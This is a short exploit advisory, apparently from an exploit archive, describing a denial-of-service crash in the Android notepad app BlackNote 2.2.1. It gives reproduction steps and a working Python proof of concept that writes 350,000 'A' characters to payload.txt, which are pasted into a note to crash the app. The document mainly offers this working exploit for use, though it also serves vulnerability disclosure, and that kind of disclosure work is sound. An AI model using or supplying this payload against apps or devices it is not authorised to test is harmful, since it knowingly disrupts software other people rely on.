# Exploit Title: Blacknote 2.2.1 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=notepad.note.notas.notes.notizen&hl=es_MX
# Version: 2.2.1
# Category: DoS (Android)

##### Vulnerability #####

BlackNote Bloc de notas is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")